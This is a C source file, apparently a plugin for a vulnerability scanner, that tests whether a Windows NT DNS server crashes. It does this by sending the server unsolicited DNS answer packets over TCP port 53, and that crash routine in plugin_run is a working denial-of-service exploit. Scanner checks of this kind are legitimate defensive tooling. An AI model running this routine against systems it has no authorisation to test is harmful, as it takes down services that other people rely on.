/*
 * 
 * winnt_dns_qr
 *
 * This plugin was written by Renaud Deraison and is released
 * under the GPL
 *
 */


#include <includes.h>

#define NAME "WindowsNT DNS QR denial"
#define DESC "\
The WindowsNT DNS service terminates abnormally when it\n\
receives an answer to a DNS query that was never made\n\
So any remote user can ause a denial of service on the\n\
DNS server\n\n\
Risk factor : high"

#define COPYRIGHT "No copyright"
#define SUMM "performs a denial of service against Windows NT DNS server"

PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
	plug_set_name(desc, NAME);
	plug_set_description(desc, DESC);
	plug_set_summary(desc, SUMM);
	plug_set_copyright(desc, COPYRIGHT);
	plug_set_category(desc, ACT_DENIAL);
	plug_set_family(desc, "Denial of Service");
	return(0);
}

/* DNS Packet, according to RFC 1035 */
struct dns_packet {
   unsigned short id;      /* id of the query             */
   unsigned char rd:1;
   unsigned char tc:1;
   unsigned char aa:1;
   unsigned char opcode:4;
   unsigned char qr:1;
   unsigned char rcode:1;
   unsigned char unused:2;
   unsigned char pr:1;
   unsigned char ra:1;
   unsigned short qdcount; /* number of questions          */
   unsigned short ancount; /* number of answers            */
   unsigned short nscount; /* number of name servers       */
   unsigned short arcount; /* number of additional records */
   };
   
/* We will send our packet through TCP/IP, so 
   we have to prefix it by two bytes which indicate
   the length of the packet (rfc 1035) */
struct tcp_dns {
   short length;
   struct dns_packet packet;
   };
PlugExport int plugin_run(struct arglist * args);	
PlugExport int plugin_run(struct arglist * args)
{	
	if(host_get_port_state(args, 53)>0)
	{
	 struct tcp_dns dns;
         int sock;
         int i;
         
         if((sock = open_sock_tcp(args, 53))<0)return(0);
         else socket_close(sock);
         for(i=0;i<5;i++)
         {
         bzero(&dns, sizeof(dns));
         dns.length = htons(sizeof(struct dns_packet));
         dns.packet.id = random();
         dns.packet.qr = 1;
         sock = open_sock_tcp(args, 53);
         send(sock, &dns, sizeof(dns),0);
         socket_close(sock);
         sock = open_sock_tcp(args, 53);
         if(sock < 0)
         {
          post_hole(args, 53,
"It was possible to crash the remote DNS server by\n\
sending it an answer to a query it never made\n\
Solution : upgrade");
	   return(0);
          }
          else socket_close(sock);
         }
        }
	return(0);
}

